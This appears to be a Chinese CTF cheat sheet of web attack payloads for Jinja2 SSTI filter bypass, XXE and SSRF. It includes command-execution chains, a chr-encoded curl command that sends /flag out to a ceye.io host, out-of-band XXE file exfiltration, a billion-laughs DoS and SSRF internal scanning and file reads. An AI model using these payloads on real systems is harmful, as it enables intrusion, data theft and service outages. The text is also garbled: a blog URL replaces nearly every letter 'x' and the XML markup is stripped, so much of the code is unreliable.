{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}lipnum|attr('__globals__').get('os').popen('cat /flag').read()

使用chr

{%set po=dict(po=a,p=a)|join%} #pop{%set https://blog.csdn.net/yjprolus/article/details/xia=(()|select|string|list).pop(24)%} #_{%set ini=(https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia,dict(init=a)|join,https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia)|join%} #__init__{%set glo=(https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia,dict(globals=a)|join,https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia)|join%} #__globals__{%set built=(https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia,dict(builtins=a)|join,https://blog.csdn.net/yjprolus/article/details/xia,https://blog.csdn.net/yjprolus/article/details/xia)|join%} # __builtins__{%set a=(lipsum|attr(glo)).get(built)%}{%set chr=a.chr%} #chr(){%print a.eval(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)).read()%}print lipsum|attr('__globals__').get('__builtins__').eval(__import__('os').popen('ls')).read()

使用下面的脚本来获得ascii码

//使用chr绕过ssti过滤引号$str="__import__('os').popen('ls')";$result='';for($i=0;$i<strlen($str);$i++){    $result.='chr('.ord($str[$i]).')~';}echo substr($result,0,-1);

过滤了 " ’ arg [] _ os {{ }} 数字

使用全角数字替代

# 将半角数字转换为全角绕过ban数字def half2full(half):    full = ''    for ch in half:        if ord(ch) in range(33, 127):            ch = chr(ord(ch) + 0https://blog.csdn.net/yjprolus/article/details/xfee0)        elif ord(ch) == 32:            ch = chr(0https://blog.csdn.net/yjprolus/article/details/x3000)        else:            pass        full += ch    return fullt=''while 1:    s = input("输入想要的数字")    for i in s:        t+=half2full(i)    print(t)

使用length获取数字

?name={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set https://blog.csdn.net/yjprolus/article/details/x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=https://blog.csdn.net/yjprolus/article/details/x.chr%}{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(https://blog.csdn.net/yjprolus/article/details/x.open(file).read())%}

过滤了 " ’ arg [] _ os {{ }} 数字 print

使用dns外带(ceye.io),还是使用上面的原理,使用全角数字和chr进行命令执行,获得chr

//使用chr绕过ssti过滤引号$str="__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')";$result='';for($i=0;$i<strlen($str);$i++){    $result.='chr('.ord($str[$i]).')~';}echo substr($result,0,-1);

普通数字变全角脚本

#正则匹配出字符串中的数字,然后返回全角数字import restr="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)"""result=""def half2full(half):    full = ''    for ch in half:        if ord(ch) in range(33, 127):            ch = chr(ord(ch) + 0https://blog.csdn.net/yjprolus/article/details/xfee0)        elif ord(ch) == 32:            ch = chr(0https://blog.csdn.net/yjprolus/article/details/x3000)        else:            pass        full += ch    return fullfor i in re.findall('\d{2,3}',str):    result+="chr("+half2full(i)+")~"    print(i)print(result[:-1])

payload

?name={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set https://blog.csdn.net/yjprolus/article/details/x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=https://blog.csdn.net/yjprolus/article/details/x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41))%}{%if https://blog.csdn.net/yjprolus/article/details/x.eval(cmd)%}aaa{%endif%}q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')")

其他

获取chr函数

"".__class__.__base__.__subclasses__()[https://blog.csdn.net/yjprolus/article/details/x].__init__.__globals__['__builtins__'].chrget_flashed_messages.__globals__['__builtins__'].chrurl_for.__globals__['__builtins__'].chrlipsum.__globals__['__builtins__'].chrhttps://blog.csdn.net/yjprolus/article/details/x.__init__.__globals__['__builtins__'].chr  (https://blog.csdn.net/yjprolus/article/details/x为任意值)

获取字符串

request.args.https://blog.csdn.net/yjprolus/article/details/x1   get传参request.values.https://blog.csdn.net/yjprolus/article/details/x1 get、post传参request.cookiesrequest.form.https://blog.csdn.net/yjprolus/article/details/x1   post传参(Content-Type:applicaation/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded或multipart/form-data)request.data  post传参(Content-Type:a/b)request.jsonpost传json  (Content-Type: application/json)

特殊读文件

{url_for.__globals__['current_app'].config.FLAG}}{{get_flashed_messages.__globals__['current_app'].config.FLAG}}{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}#利用self姿势{{self}} ⇒ {{self.__dict__._TemplateReference__contehttps://blog.csdn.net/yjprolus/article/details/xt.config}} ⇒ 同样可以找到config{{self.__dict__._TemplateReference__contehttps://blog.csdn.net/yjprolus/article/details/xt.lipsum.__globals__.__builtins__.open("/flag").read()}}

脚本

找存在__builtins__的子类

search='__builtins__'num=-1for i in ''.__class__.__bases__[0].__subclasses__():    num+=1    try:        if search in i.__init__.__globals__.keys():            print(i,num)    ehttps://blog.csdn.net/yjprolus/article/details/xcept:        pass

定位下标

import json# 所有获得的子类classes="""[, , ,..........."""num=0alllist=[]result=""for i in classes:    if i==">":        result+=i        alllist.append(result)        result=""    elif i=="\n" or i==",":        continue    else:        result+=i#寻找要找的类,并返回其索引for k,v in enumerate(alllist):    if "warnings.catch_warnings" in v:        print(str(k)+"--->"+v)

使用request定位下标

import requestsimport timeimport htmlfor i in range(0,300):    time.sleep(0.06)    payload = "{{().__class__.__mro__[-1].__subclasses__()[%s]}}" % i    url = 'http://127.0.0.1:5000?name='    r = requests.post(url+payload)    if "catch_warnings" in r.tehttps://blog.csdn.net/yjprolus/article/details/xt:        print(r.tehttps://blog.csdn.net/yjprolus/article/details/xt)        print(i)        break

XXE

基础

XML

          DOCTYPE foo [     <!ELEMENT foo ANY >    ]>                  <foo>&yj;foo>

DTD

DTD即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。DTD一般认为有两种引用或声明方式:内部内嵌在XML文件中,外部的独立出为.dtd文件

DTD实体有以下几种声明方式

内部实体

DOCTYPE note [    <!ENTITY a "admin">]><note>&anote>

参数实体

DOCTYPE note> [    <!ENTITY % b " b1 "yyds">">    %b;]><note>&b1note>

外部实体

DOCTYPE note> [    ]><note>&cnote>

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
img
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
img

外部参数实体

DOCTYPE note> [        %d;]><note>&d1note>

XXE

任意文件读取

有回显

恶意引入外部实体

直接读靶机文件

DOCTYPE foo [ ]><user><username>&rabbit;username><password>123password>user>
恶意引入外部参数实体
DOCTYPE test [        %file;]><test>&hhh;test>

无回显

OOB

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x。

DOCTYPE updateProfile [            %dtd;    %send;]>

evil.dtd的内容,内部的%号要进行实体编码成&#https://blog.csdn.net/yjprolus/article/details/x25。

&#https://blog.csdn.net/yjprolus/article/details/x25; send SYSTEM 'http://https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x/?data=%file;'>">%all;

访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

基于报错

以下内容皆出自JrXnm师傅博客
Blind XXE 详解 + Google CTF 一道题目分析

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url处不同,其他地方一模一样。

通过引入服务器文件
DOCTYPE message [%remote;%send;]><message>1234message>

https://blog.csdn.net/yjprolus/article/details/xml.dtd

&#https://blog.csdn.net/yjprolus/article/details/x25; send SYSTEM 'file:///hhhhhhh/%file;'>">%start;
通过引入本地文件

如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。

https://blog.csdn.net/yjprolus/article/details/xml version="1.0"?><!DOCTYPE message [<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookhttps://blog.csdn.net/yjprolus/article/details/x.dtd"><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"><!ENTITY % ISOamso '">&#https://blog.csdn.net/yjprolus/article/details/x25;eval;&#https://blog.csdn.net/yjprolus/article/details/x25;send;'> %remote;]><message>1234</message>

我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookhttps://blog.csdn.net/yjprolus/article/details/x.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send

嵌套参数实体

我发现,虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的

DOCTYPE message [  &#https://blog.csdn.net/yjprolus/article/details/x25; send SYSTEM 'http://myip/?%file;'>">%start;%send;]><message>10message>
基于报错的三层嵌套参数实体XXE
https://blog.csdn.net/yjprolus/article/details/xml version="1.0"?><!DOCTYPE message [<!ELEMENT message ANY><!ENTITY % para1 SYSTEM "file:///flag"><!ENTITY % para '">&#https://blog.csdn.net/yjprolus/article/details/x25;para2;'>%para;]><message>10</message>

img

内网探测

和读文件差不多,只不过把URI改成内网机器地址

        DOCTYPE foo [ <!ELEMENT foo ANY >]><user><firstname>&rabbit;firstname><lastname>666lastname>user>

RCE

XXE漏洞利用技巧:从XML到远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP ehttps://blog.csdn.net/yjprolus/article/details/xpect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

DOCTYPE GVI [ <!ELEMENT foo ANY >]><catalog>   <core id="test101">      <author>John, Doeauthor>      <title>I love XMLtitle>      <category>Computerscategory>      <price>9.99price>      <date>2018-10-01date>      <description>&yj;description>   core>catalog>

响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

DOS

XXE萌新进阶全攻略

DOCTYPE lolz [  <!ENTITY lol "lol">  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。

如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则下面的代码会使服务器(使用 UNIX 系统)崩溃。

DOCTYPE foo [   <!ELEMENT foo ANY >  ]><foo>&yj;foo>

绕过

ENTITY``SYSTEM``file等关键词被过滤

使用编码方式绕过:UTF-16BE
cat payload.https://blog.csdn.net/yjprolus/article/details/xml | iconv -f utf-8 -t utf-16be > payload.8-16be.https://blog.csdn.net/yjprolus/article/details/xml

若http被过滤,可以用

data://协议绕过

DOCTYPE test [     ">     %a;    %b;]><test>&hhh;test>

file://协议加文件上传

DOCTYPE test [        %a;]>

php://filter协议加文件上传

DOCTYPE test [        %a;]>    <test>        &hhh;    test>
DOCTYPE test [        %a;]>    <test>        &hhh;    test>PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmhttps://blog.csdn.net/yjprolus/article/details/xhZy5waHAnPg==

利用

svg

DOCTYPE note []><svg height="100" width="1000">  <tehttps://blog.csdn.net/yjprolus/article/details/xt https://blog.csdn.net/yjprolus/article/details/x="10" y="20">&file;tehttps://blog.csdn.net/yjprolus/article/details/xt>svg>

PS:从当前文件夹读取文件可以使用/proc/self/cwd

ehttps://blog.csdn.net/yjprolus/article/details/xcel

用ehttps://blog.csdn.net/yjprolus/article/details/xcel创建一个空白的https://blog.csdn.net/yjprolus/article/details/xlshttps://blog.csdn.net/yjprolus/article/details/x,然后解压

mkdir XXE && cd XXEunzip ../XXE.https://blog.csdn.net/yjprolus/article/details/xlshttps://blog.csdn.net/yjprolus/article/details/x

[Content_Types].https://blog.csdn.net/yjprolus/article/details/xml改成恶意https://blog.csdn.net/yjprolus/article/details/xml,再压缩回去:zip -r ../poc.https://blog.csdn.net/yjprolus/article/details/xlshttps://blog.csdn.net/yjprolus/article/details/x *

CSRF // TODO

SSRF

基础

容易出现SSRF的地方有:

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,dochttps://blog.csdn.net/yjprolus/article/details/x,pdf,https://blog.csdn.net/yjprolus/article/details/xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、class="lazy" data-src、source、target、u、3g、display、sourceURl、imageURL、domain……
  12. 从远程服务器请求资源

应用

  1. 对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。
  2. 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等。
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  4. 攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。
  5. 利用file协议读取服务器本地文件等。
  6. 进行跳板攻击等。

相关函数和类

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
  • readfile():输出一个文件的内容。
  • fsockopen():打开一个网络连接或者一个Unihttps://blog.csdn.net/yjprolus/article/details/x 套接字连接。
  • curl_ehttps://blog.csdn.net/yjprolus/article/details/xec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_ehttps://blog.csdn.net/yjprolus/article/details/xec()和curl_close() 函数使用。
  • fopen():打开一个文件文件或者 URL。

上述函数函数使用不当会造成SSRF漏洞。 此外,PHP原生类SoapClient在触发反序列化时可导致SSRF。

file_get_contents()

构造类似ssrf.php?url=../../../../../etc/passwd的paylaod即可读取服务器本地的任意文件。

// ssrf.php<?php$url = $_GET['url'];;echo file_get_contents($url);?>

readfile()

与file_get_contents()函数相似。

fsockopen()

构造ssrf.php?url=www.baidu.com即可成功触发ssrf并返回百度主页

// ssrf.php<?php$host=$_GET['url'];$fp = fsockopen($host, 80, $errno, $errstr, 30);if (!$fp) {    echo "$errstr ($errno)
\n"
;} else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp);}?>

curl_ehttps://blog.csdn.net/yjprolus/article/details/xec()

curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_ehttps://blog.csdn.net/yjprolus/article/details/xec()和curl_close() 函数使用。

测试代码:

// ssrf.php

构造ssrf.php?url=www.baidu.com即可成功触发ssrf并返回百度主页:

image-20210112231108247

SoapClient

SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。该类的构造函数如下:

public SoapClient :: SoapClient(mihttps://blog.csdn.net/yjprolus/article/details/xed $wsdl [array $options ]) // 第一个参数是用来指明是否是wsdl模式。第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间。

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数为一个包含location和uri的数组,location选项的值设置为target_url:

// ssrf.php<?php$a = new SoapClient(null,array('uri'=>'http://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:2333', 'location'=>'http://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:2333/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?>

https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.72监听2333端口,访问ssrf.php,即可在47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.72上得到访问的数据,如下图所示,ssrf触发成功:

image-20210112234821125

由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在CRLF漏洞,那么我们就可以进行ssrf+CRLF,注入或修改一些http请求头,详情请看:《SoapClient+CRLF组合拳进行SSRF》

SSRF漏洞利用的相关协议

  • file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
  • http/s协议:探测内网主机存活

常见利用方式

SSRF的利用主要就是读取内网文件、探测内网主机存活、扫描内网端口、攻击内网其他应用等,而这些利用的手法无一不与这些协议息息相关。

以下几个演示所用的测试代码:

// ssrf.php

读取内网文件(file协议)

我们构造如下payload,即可将服务器上的本地文件及网站源码读取出来:

ssrf.php?url=file:///etc/passwdssrf.php?url=file:///var/www/html/flag.php

image-20210113000529370

image-20210113000640979

探测内网主机存活(http/s协议)

一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。

域网IP地址范围分三类,以下IP段为内网IP段:

  • C类:192.168.0.0 - 192.168.255.255
  • B类:172.16.0.0 - 172.31.255.255
  • A类:10.0.0.0 - 10.255.255.255

测试环境如下:

image-20210113190506825

假设WEB服务器Ubuntu上面存在上述所说的SSRF漏洞,我们构造如下payload,便可通过Ubuntu服务器发送请求去探测内网存活的主机:

ssrf.php?url=http://192.168.52.1ssrf.php?url=http://192.168.52.6ssrf.php?url=http://192.168.52.25......

为了方便,我们可以借助burpsuite的Intruder模块进行爆破,如下所示:

image-20210113120505690

image-20210113120551977

将爆破的线程尽可能设的小一些。开始爆破后即可探测到目标内网中存在如下两个存活的主机(192.168.52.130和192.168.52.131):

image-20210113120806794

扫描内网端口(http/s和dict协议)

同样是上面那个测试环境:

image-20210113190455756

我们利用dict协议构造如下payload即可查看内网主机上开放的端口及端口上运行服务的版本信息等:

ssrf.php?url=dict://192.168.52.131:6379/info   // redisssrf.php?url=dict://192.168.52.131:80/info     // httpssrf.php?url=dict://192.168.52.130:22/info   // ssh

image-20210113190244954

image-20210113122530377

同样可以借助burpsuite来爆破内网主机上的服务。

相关绕过姿势

对于SSRF的限制大致有如下几种:

利用HTTP基本身份认证的方式绕过

如果目标代码限制访问的域名只能为 http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.com@www.evil.com

利用302跳转绕过内网IP

绕过对内网ip的限制我们可以利用302跳转的方法,有以下两种。

(1)网络上存在一个很神奇的服务,网址为 http://https://blog.csdn.net/yjprolus/article/details/xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:

当我们访问:http://127.0.0.1.https://blog.csdn.net/yjprolus/article/details/xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php。像这种网址还有http://nip.iohttp://sslip.io

如下示例(flag.php仅能从本地访问):

image-20210113124813254

(2)短地址跳转绕过,这里也给出一个网址 https://4m.cn/:

image-20201027163528110

直接使用生成的短连接 https://4m.cn/FjOdQ就会自动302跳转到 http://127.0.0.1/flag.php上,这样就可以绕过WAF了:

image-20210113124727560

进制的转换绕过内网IP

可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个从网上扒的php脚本可以一键转换:

其他各种指向127.0.0.1的地址

http://localhost/         # localhost就是代指127.0.0.1http://0/                 # 0在window下代表0.0.0.0,而在liunhttps://blog.csdn.net/yjprolus/article/details/x下代表127.0.0.1http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunhttps://blog.csdn.net/yjprolus/article/details/x下可用,window测试了下不行http://[::]:80/           # 在liunhttps://blog.csdn.net/yjprolus/article/details/x下可用,window测试了下不行http://127。0。0。1/       # 用中文句号绕过http://①②⑦.⓪.⓪.①http://127.1/http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

测试代码:

// ssrf.php

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:

httpsssss://

此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:

ssrf.php?url=httpsssss://../../../../../../etc/passwd

image-20210113130534208

这个方法可以在SSRF的众多协议被禁止且只能使用它规定的某些协议的情况下来进行读取文件。

利用URL的解析问题

该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Ehttps://blog.csdn.net/yjprolus/article/details/xploiting-URL-Parser-In-Trending-Programming-Languages》的分享。主要是利用readfile和parse_url函数的解析差异以及curl和parse_url解析差异来进行绕过。

(1)利用readfile和parse_url函数的解析差异绕过指定的端口

测试代码:

// ssrf.php

用python在当前目录下起一个端口为11211的WEB服务:

image-20210113133210683

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:

ssrf.php?url=127.0.0.1:11211:80/flag.thttps://blog.csdn.net/yjprolus/article/details/xt

image-20210113133242461

如上图所示成功读取了11211端口中的flag.thttps://blog.csdn.net/yjprolus/article/details/xt文件,下面用BlackHat的图来说明原理:

1610601312_5fffd36035478c41c2c18.png?1610601312696

从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。

这两个函数在解析host的时候也有差异,如下图:

1610601347_5fffd383dfc1a3982425f.png?1610601348433

readfile()函数获取的是@号后面一部分(evil.com),而parse_url()函数获取的则是@号前面的一部分(google.com),利用这种差异的不同,我们可以绕过题目中parse_url()函数对指定host的限制。

(2)利用curl和parse_url的解析差异绕指定的host

原理如下:

1610601386_5fffd3aa565a51587d90c.png?1610601386867

从上图中可以看到curl()函数解析的是第一个@后面的网址,而parse_url()函数解析的是第二个@后面的网址。利用这个原理我们可以绕过题目中parse_url()函数对指定host的限制。

测试代码:

